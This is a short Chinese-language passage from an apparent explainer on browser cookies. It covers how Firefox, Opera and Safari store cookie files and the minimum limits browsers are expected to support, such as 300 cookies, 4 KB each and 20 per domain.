• Mozilla Firefox浏览器 将所有 cookie 保存在一个文件中；
• Opera 将其所有 cookie 保存在一个文件中并对其进行加密（除非在软件选项中，否则无法修改它们）；
• 苹果Safari 将其所有 cookie 保存在单个 .plist 扩展文件中。 修改是可能的，但不是很容易，除非你通过软件选项。

需要浏览器支持 至少 :

• 300 个同步 cookie；
• 每个 cookie 4 o；
• 每个主机或域 20 个 cookie。